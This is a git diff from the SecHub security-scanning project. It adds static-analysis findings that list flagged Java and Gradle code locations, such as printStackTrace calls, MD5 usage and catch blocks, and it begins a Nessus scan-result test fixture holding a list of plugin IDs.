+ printStackTrace + + 1 + + + 71 + e.printStackTrace(); + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/PojoTester.java + 74 + 22 + 1 + e + + 1 + + + 74 + } catch (Exception e) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/PojoTester.java + 75 + 4 + 2 + e + + 1 + + + 75 + e.printStackTrace(); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/PojoTester.java + 75 + 21 + 3 + printStackTrace + + 1 + + + 75 + e.printStackTrace(); + + + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 97 + 4 + 12 + model + + 5 + + + 97 + model.put("jobuuid", jobUUID.toString()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 13 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 14 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 111 + 48 + 15 + build + + 1 + + + 111 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 111 + 23 + 16 + map + + 3 + + + 111 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 114 + 27 + 17 + map + + 3 + + + 114 + assertEquals("theInfo", map.get("info")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 115 + 22 + 18 + map + + 3 + + + 115 + assertSame(result, map.get("result")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 116 + 25 + 19 + map + + 3 + + + 116 + assertSame(greenList, map.get("greenList")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 117 + 23 + 20 + map + + 3 + + + 117 + assertSame(redList, map.get("redList")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 118 + 26 + 21 + map + + 3 + + + 118 + assertSame(yellowList, map.get("yellowList")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 119 + 21 + 22 + map + + 3 + + + 119 + assertEquals(true,map.get("isWebDesignMode")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 122 + 17 + 23 + map + + 3 + + + 122 + assertNotNull(map.get("includedCSSRef")); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 123 + 25 + 24 + map + + 3 + + + 123 + String path = (String)map.get("includedCSSRef"); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 123 + 32 + 25 + get + + 1 + + + 123 + String path = (String)map.get("includedCSSRef"); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 123 + 10 + 26 + path + + 4 + + + 123 + String path = (String)map.get("includedCSSRef"); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 124 + 29 + 27 + path + + 4 + + + 124 + File foundFile = new File(path); + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 124 + 20 + 28 + File + + 3 + + + 124 + File foundFile = new File(path); + + + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/MD5Builder.java + 11 + 36 + 1 + ""MD5"" + + 5 + + + 11 + md5 = MessageDigest.getInstance("MD5"); + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/MD5Builder.java + 11 + 35 + 2 + getInstance + + 1 + + + 11 + md5 = MessageDigest.getInstance("MD5"); + + + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 122 + 30 + 1 + readLine + + 1 + + + 122 + while ((line = br.readLine()) != null) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 122 + 34 + 2 + != + + 2 + + + 122 + while ((line = br.readLine()) != null) { + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 123 + 15 + 3 + line + + 4 + + + 123 + sb.append(line); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 123 + 14 + 4 + append + + 1 + + + 123 + sb.append(line); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 124 + 5 + 5 + sb + + 2 + + + 124 + sb.append(lineBreak); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 126 + 11 + 6 + sb + + 2 + + + 126 + return sb.toString(); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 126 + 22 + 7 + toString + + 1 + + + 126 + return sb.toString(); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 86 + 30 + 8 + loadTestFileFromRoot + + 1 + + + 86 + return loadTestFileFromRoot(resourcePath + "/" + path, lineBreak); + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 71 + 22 + 9 + loadTestFile + + 1 + + + 71 + return loadTestFile(path, "\n"); + + + + + sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1Test.java + 22 + 105 + 10 + loadTestFile + + 1 + + + 22 + NESSUS_7_0_2_GET_POLICIES_RESULT_JSON = NessusAdapterTestFileSupport.getTestfileSupport().loadTestFile("nessus_7.0.2.get_policies_result.json"); + + + + + sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1Test.java + 22 + 3 + 11 + NESSUS_7_0_2_GET_POLICIES_RESULT_JSON + + 37 + + + 22 + NESSUS_7_0_2_GET_POLICIES_RESULT_JSON = NessusAdapterTestFileSupport.getTestfileSupport().loadTestFile("nessus_7.0.2.get_policies_result.json"); + + + + + + + + + + + sechub-adapter/build/reports/tests/test/classes/com.daimler.sechub.adapter.abstractadapterconfigbuildertest.html + 1 + 1 + 1 + CxJSNS_689601625 + + 0 + + + 1 + <!DOCTYPE html> + + + + + + + + + + + sechub-cli/build.gradle + 40 + 54 + 1 + ""C:\\Program Files (x86)\\Jenkins\\workspace\\continous-integration"" + + 68 + + + 40 + String result = new MinGWConverter().convert("C:\\Program Files (x86)\\Jenkins\\workspace\\continous-integration"); + + + + + + + + + + + build.gradle + 26 + 11 + 1 + open + + 3 + + + 26 + git = org.ajoberstar.grgit.Grgit.open() + + + + + build.gradle + 26 + 5 + 2 + git + + 3 + + + 26 + git = org.ajoberstar.grgit.Grgit.open() + + + + + + + + + + + sechub-cli/build.gradle + 42 + 13 + 1 + ThrowStmt + + 5 + + + 42 + throw new IllegalStateException("not correct:"+result); + + + + + sechub-cli/build.gradle + 39 + 24 + 2 + main + + 4 + + + 39 + public static void main(String[] args) { + + + + + + + + + + + build-maven.gradle + 16 + 14 + 1 + getenv + + 1 + + + 16 + def buildNr = System.getenv('ci.buildNumber') + + + + + + + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/configuration/AbstractAllowSecHubAPISecurityConfiguration.java + 28 + 98 + 1 + password + + 8 + + + 28 + // https://docs.spring.io/spring-security/site/docs/current/reference/htmlsingle/#core-services-password-encoding + + + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 112 + 47 + 1 + getInputStream + + 1 + + + 112 + InputStream in = cssResource.getInputStream(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 112 + 16 + 2 + in + + 2 + + + 112 + InputStream in = cssResource.getInputStream(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 113 + 70 + 3 + in + + 2 + + + 113 + try (BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF-8"))){ + + + + + + + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/SimpleStringUtils.java + 3 + 1 + 1 + SimpleStringUtils + + 6 + + + 3 + public class SimpleStringUtils { + + + + + + + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerJobBatchTriggerService.java + 45 + 3 + 1 + ""${sechub.config.trigger.nextjob.cron:*/10 * * * * *}"" + + 9 + + + 45 + @Scheduled(cron = "${sechub.config.trigger.nextjob.cron:*/10 * * * * *}") + + + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/MD5Builder.java + 11 + 35 + 1 + getInstance + + 1 + + + 11 + md5 = MessageDigest.getInstance("MD5"); + + + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/JSONAdapterSupport.java + 40 + 5 + 1 + catch + + 5 + + + 40 + } catch (IOException e) { + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/JSONAdapterSupport.java + 148 + 5 + 1 + catch + + 5 + + + 148 + } catch (JsonProcessingException e) { + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/MD5Builder.java + 21 + 5 + 1 + catch + + 5 + + + 21 + } catch (Exception e) { + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/MockSupport.java + 23 + 4 + 1 + catch + + 5 + + + 23 + }catch(IOException e) { + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TrustAllSupport.java + 66 + 6 + 1 + catch + + 5 + + + 66 + } catch (AdapterException e) { + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/TrustAllSupport.java + 124 + 5 + 1 + catch + + 5 + + + 124 + } catch (NoSuchAlgorithmException | KeyManagementException e) { + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/WaitForStateSupport.java + 70 + 5 + 1 + catch + + 5 + + + 70 + } catch (HttpClientErrorException e) { + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/WaitForStateSupport.java + 72 + 5 + 1 + catch + + 5 + + + 72 + } catch (Exception e) { + + + + + + + + + sechub-adapter/src/main/java/com/daimler/sechub/adapter/WaitForStateSupport.java + 86 + 5 + 1 + catch + + 5 + + + 86 + } catch (InterruptedException e) { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/AbstractFaradayAdapter.java + 12 + 5 + 1 + catch + + 5 + + + 12 + } catch (Exception e) { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/FaradayAdapterV1.java + 40 + 5 + 1 + catch + + 5 + + + 40 + } catch (HttpClientErrorException e) { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/FaradayAdapterV1.java + 45 + 5 + 1 + catch + + 5 + + + 45 + } catch (Exception e) { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/FaradayAdapterV1.java + 70 + 5 + 1 + catch + + 5 + + + 70 + } catch (Exception e) { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/FaradayAdapterV1.java + 95 + 5 + 1 + catch + + 5 + + + 95 + } catch (HttpStatusCodeException e) { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/FaradayAdapterV1.java + 98 + 5 + 1 + catch + + 5 + + + 98 + } catch (Exception e) { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/FaradayAdapterV1.java + 125 + 5 + 1 + catch + + 5 + + + 125 + } catch (HttpClientErrorException e) { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/FaradayAdapterV1.java + 128 + 5 + 1 + catch + + 5 + + + 128 + } catch (Exception e) { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 119 + 5 + 1 + catch + + 5 + + + 119 + } catch (InterruptedException e) { + + + + + + + + + sechub-adapter-faraday/src/main/java/com/daimler/sechub/adapter/faraday/MockedFaradayAdapter.java + 182 + 4 + 1 + catch + + 5 + + + 182 + }catch(IOException e) { + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 75 + 5 + 1 + catch + + 5 + + + 75 + } catch (AdapterException e) { + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 77 + 5 + 1 + catch + + 5 + + + 77 + } catch (Exception e) { + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 157 + 5 + 1 + catch + + 5 + + + 157 + } catch (HttpClientErrorException e) { + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 218 + 5 + 1 + catch + + 5 + + + 218 + } catch (HttpClientErrorException e) { + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 260 + 5 + 1 + catch + + 5 + + + 260 + } catch (Exception e) { + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 310 + 5 + 1 + catch + + 5 + + + 310 + } catch (HttpClientErrorException e) { + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 329 + 5 + 1 + catch + + 5 + + + 329 + } catch (HttpClientErrorException e) { + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 353 + 5 + 1 + catch + + 5 + + + 353 + } catch (AdapterException e) { + + + + + + + + + sechub-adapter-nessus/src/main/java/com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 355 + 5 + 1 + catch + + 5 + + + 355 + } catch (Exception e) { + + + + + + + + + sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1.java + 60 + 5 + 1 + catch + + 5 + + + 60 + } catch (AdapterException e) { + + + + + + + + + sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1.java + 62 + 5 + 1 + catch + + 5 + + + 62 + } catch (Exception e) { + + + + + + + + + sechub-adapter-netsparker/src/main/java/com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1.java + 153 + 5 + 1 + catch + + 5 + + + 153 + } catch (HttpClientErrorException e) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingModel.java + 125 + 6 + 1 + catch + + 5 + + + 125 + } catch (Exception e) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModelDataCollector.java + 88 + 7 + 1 + catch + + 5 + + + 88 + } catch (Exception e) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 136 + 5 + 1 + catch + + 5 + + + 136 + } catch (IOException e) { + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 61 + 5 + 1 + catch + + 5 + + + 61 + } catch (SecHubExecutionException e) { + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 71 + 5 + 1 + catch + + 5 + + + 71 + } catch (Exception e) { + + + + + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/ScanServiceTest.java + 217 + 5 + 1 + catch + + 5 + + + 217 + } catch (JSONConverterException e) { + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractInstallSetupProductExecutor.java + 63 + 5 + 1 + catch + + 5 + + + 63 + } catch (SecHubExecutionException e) { + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractInstallSetupProductExecutor.java + 65 + 5 + 1 + catch + + 5 + + + 65 + } catch (Exception e) { + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractProductExecutionService.java + 62 + 5 + 1 + catch + + 5 + + + 62 + } catch (RuntimeException e) { + + + + + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/AbstractInstallSetupProductExecutorTest.java + 29 + 5 + 1 + catch + + 5 + + + 29 + } catch (UnknownHostException e) { + + + + + + + + + sechub-scan-product-faraday/src/main/java/com/daimler/sechub/domain/scan/product/faraday/AbstractFaradayWorkspaceAccess.java + 42 + 5 + 1 + catch + + 5 + + + 42 + } catch (Exception e) { + + + + + + + + + sechub-scan-product-faraday/src/main/java/com/daimler/sechub/domain/scan/product/faraday/AbstractFaradayWorkspaceAccess.java + 54 + 5 + 1 + catch + + 5 + + + 54 + } catch (Exception e) { + + + + + + + + + sechub-scan-product-faraday/src/main/java/com/daimler/sechub/domain/scan/product/faraday/AbstractFaradayWorkspaceAccess.java + 71 + 5 + 1 + catch + + 5 + + + 71 + } catch (Exception e) { + + + + + + + + + sechub-scan-product-faraday/src/main/java/com/daimler/sechub/domain/scan/product/faraday/AbstractFaradayWorkspaceAccess.java + 116 + 5 + 1 + catch + + 5 + + + 116 + } catch (AdapterException e) { + + + + + + + + + sechub-scan-product-faraday/src/main/java/com/daimler/sechub/domain/scan/product/faraday/FaradayProductExecutor.java + 120 + 5 + 1 + catch + + 5 + + + 120 + } catch (Exception e) { + + + + + + + + + sechub-scan-product-faraday/src/main/java/com/daimler/sechub/domain/scan/product/faraday/FaradayReportToSecHubResultTransformer.java + 35 + 5 + 1 + catch + + 5 + + + 35 + } catch (JSONConverterException e) { + + + + + + + + + sechub-scan-product-faraday/src/test/java/com/daimler/sechub/domain/scan/product/faraday/QueuedFaradayWorkspaceAccessTest.java + 255 + 5 + 1 + catch + + 5 + + + 255 + } catch (AquireFaradayWorkspaceTimeOutException e) { + + + + + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSecHubConfigurationValidationService.java + 50 + 6 + 1 + catch + + 5 + + + 50 + } catch (URISyntaxException e) { + + + + + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSupport.java + 21 + 5 + 1 + catch + + 5 + + + 21 + } catch (URISyntaxException e) { + + + + + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 30 + 5 + 1 + catch + + 5 + + + 30 + } catch (Exception e) { + + + + + + + + + sechub-shared-kernel-testframework/src/main/java/com/daimler/sechub/sharedkernel/configuration/TestSecHubConfigurationBuilder.java + 91 + 6 + 1 + catch + + 5 + + + 91 + } catch (UnknownHostException e) { + + + + + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/jpa/TypedQuerySupport.java + 41 + 5 + 1 + catch + + 5 + + + 41 + } catch (NoResultException e) { + + + + + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/ProjectMessageDataProvider.java + 15 + 5 + 1 + catch + + 5 + + + 15 + } catch (JSONConverterException e) { + + + + + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/ProjectMessageDataProvider.java + 28 + 5 + 1 + catch + + 5 + + + 28 + } catch (JSONConverterException e) { + + + + + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/SecHubConfigurationMessageDataProvider.java + 16 + 5 + 1 + catch + + 5 + + + 16 + } catch (JSONConverterException e) { + + + + + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/SecHubConfigurationMessageDataProvider.java + 29 + 5 + 1 + catch + + 5 + + + 29 + } catch (JSONConverterException e) { + + + + + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/UserMessageDataProvider.java + 15 + 5 + 1 + catch + + 5 + + + 15 + } catch (JSONConverterException e) { + + + + + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/messaging/UserMessageDataProvider.java + 28 + 5 + 1 + catch + + 5 + + + 28 + } catch (JSONConverterException e) { + + + + + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/JSONConverter.java + 61 + 5 + 1 + catch + + 5 + + + 61 + } catch (JsonProcessingException e) { + + + + + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/JSONConverter.java + 78 + 5 + 1 + catch + + 5 + + + 78 + } catch (IOException e) { + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/api/AbstractAssert.java + 34 + 4 + 1 + catch + + 5 + + + 34 + }catch(HttpClientErrorException e) { + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/api/AssertUser.java + 178 + 4 + 1 + catch + + 5 + + + 178 + }catch(IllegalArgumentException e) { + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/api/AssertUser.java + 181 + 4 + 1 + catch + + 5 + + + 181 + }catch(IOException e) { + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/api/IntegrationTestSetup.java + 33 + 5 + 1 + catch + + 5 + + + 33 + } catch (InstantiationException | IllegalAccessException e) { + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/api/IntegrationTestSetup.java + 69 + 6 + 1 + catch + + 5 + + + 69 + } catch (Throwable e) { + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/api/IntegrationTestSetup.java + 95 + 6 + 1 + catch + + 5 + + + 95 + } catch (ResourceAccessException e) { + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/api/IntegrationTestSetup.java + 98 + 7 + 1 + catch + + 5 + + + 98 + } catch (InterruptedException e1) { + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/api/TestAPI.java + 99 + 5 + 1 + catch + + 5 + + + 99 + } catch (RestClientException e) { + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/internal/AbstractTestScenario.java + 127 + 4 + 1 + catch + + 5 + + + 127 + }catch(HttpClientErrorException e) { + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/internal/AbstractTestScenario.java + 140 + 4 + 1 + catch + + 5 + + + 140 + }catch(HttpClientErrorException e) { + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/internal/AbstractTestScenario.java + 153 + 4 + 1 + catch + + 5 + + + 153 + }catch(HttpClientErrorException e) { + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/internal/MockEmailAccess.java + 70 + 6 + 1 + catch + + 5 + + + 70 + } catch (InterruptedException e) { + + + + + + + + + sechub-integrationtest/src/main/java/com/daimler/sechub/test/internal/TestJSONHelper.java + 87 + 5 + 1 + catch + + 5 + + + 87 + } catch (IOException e) { + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/PojoTester.java + 59 + 7 + 1 + catch + + 5 + + + 59 + } catch (Exception e) { + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/PojoTester.java + 74 + 5 + 1 + catch + + 5 + + + 74 + } catch (Exception e) { + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/SimpleFileBasedPackageScanner.java + 66 + 5 + 1 + catch + + 5 + + + 66 + } catch (Exception e) { + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestFileSupport.java + 127 + 5 + 1 + catch + + 5 + + + 127 + } catch (Exception e) { + + + + + + + + + sechub-testframework/src/main/java/com/daimler/sechub/test/TestUtil.java + 9 + 5 + 1 + catch + + 5 + + + 9 + } catch (InterruptedException e) { + + + + + + + + + + + build-eclipse.gradle + 11 + 6 + 1 + eclipseJavaSourceFolders + + 24 + + + 11 + def eclipseJavaSourceFolders=[ + + + + + + + + + build-versioning.gradle + 3 + 5 + 1 + manualBaseVersion + + 17 + + + 3 + def manualBaseVersion = "0.2.8" + + + + + + + + + build-versioning.gradle + 5 + 5 + 1 + gitTags + + 7 + + + 5 + def gitTags = git.tag.list() + + + + + + + + + build-versioning.gradle + 6 + 5 + 1 + currentCommitTag + + 16 + + + 6 + def currentCommitTag = gitTags.find { it.commit == git.head() } + + + + + + + + + build-versioning.gradle + 8 + 5 + 1 + unstagedChanges + + 15 + + + 8 + def unstagedChanges = git.status().unstaged + + + + + + + + + build-versioning.gradle + 9 + 5 + 1 + stagedChanges + + 13 + + + 9 + def stagedChanges = git.status().staged + + + + + + + + + build-versioning.gradle + 10 + 5 + 1 + calcversion + + 11 + + + 10 + def calcversion = "none" + + + + + + + + + build-versioning.gradle + 20 + 5 + 1 + serverVersionFile + + 17 + + + 20 + def serverVersionFile = new File("./version-server.gen.env") + + + + + + + + + + + build-spring.gradle + 26 + 19 + 1 + equals + + 7 + + + 26 + if (! project.name.equals('sechub-adapter')){ + + + + + + + + + build-spring.gradle + 40 + 19 + 1 + equals + + 7 + + + 40 + if (! project.name.equals('sechub-shared-kernel')){ + + + + + + + + + build-spring.gradle + 63 + 12 + 1 + equals + + 7 + + + 63 + if (project.name.equals('sechub-server')){ + + + + + + + + + sechub-cli/build.gradle + 41 + 15 + 1 + equals + + 64 + + + 41 + if (! "/C/Program Files (x86)/Jenkins/workspace/continous-integration".equals(result)) { + + + + + + + + + + + sechub-cli/build.gradle + 1 + 1000 + 1 + anonymous_0_0 + + 3 + + + 1 + /*============================================================================ + + + + + + + \ No newline at end of file diff --git a/sechub-sereco/src/test/resources/nessus/nessus_7.0.2.result.xml b/sechub-sereco/src/test/resources/nessus/nessus_7.0.2.result.xml new file mode 100644 index 0000000000..5bddb6c690 --- /dev/null +++ b/sechub-sereco/src/test/resources/nessus/nessus_7.0.2.result.xml @@ -0,0 +1,8394 @@ + + +Advanced Scan +plugin_set +84316;36080;93635;32809;87560;61117;35292;75260;83156;103773;12899;61271;82513;60338;56376;56763;77796;85655;99304;90783;79951;102224;94560;74778;36701;24927;75947;79410;77675;80304;31254;56940;77913;52488;71507;34562;56031;20067;101840;105154;20870;36729;58411;28203;91796;74090;79571;51613;68598;14866;14848;84756;77682;15647;34014;63001;78239;49989;34382;80895;59433;37168;73673;104650;13697;36153;52647;18318;106660;48778;32133;12946;71529;27680;55108;82334;84972;50808;96632;85689;89197;66586;13585;55264;45589;78979;69778;19888;63394;61082;68681;92042;71451;24796;54754;78797;97572;20066;64490;73861;58989;60381;90416;51169;11828;14404;103210;51771;106645;63800;40222;26457;53891;23960;94614;56689;79865;79937;38632;76254;72826;20479;106141;105708;102496;91390;51258;57118;41336;11789;62383;32146;88711;99970;41530;42354;79216;58362;60475;39496;52013;72329;24105;96180;78288;63152;41573;20742;88842;90837;68542;86053;52424;22965;52429;10296;68524;88703;34171;20131;24704;87941;35303;93121;101830;19200;21498;41079;70704;106480;67992;78686;31983;53047;79190;41085;84790;40959;63055;50835;82047;41852;82769;104881;19237;60258;19694;51128;40576;55697;94139;94327;96363;13571;24755;13911;11536;99638;46250;84063;66357;83845;51201;89950;52859;103177;75526;11227;105158;79803;24288;52686;27519;105046;72543;42195;72304;73184;35521;63414;11745;72527;99117;92656;12560;90040;54739;86206;101586;86011;101984;40328;64581;87506;32294;73664;54520;38341;48283;104594;105489;71371;96800;41688;69092;106507;107130;81053;14453;68600;10085;64446;27789;84646;80794;91360;68001;13881;53175;79680;106283;82138;62395;66812;66821;95861;11617;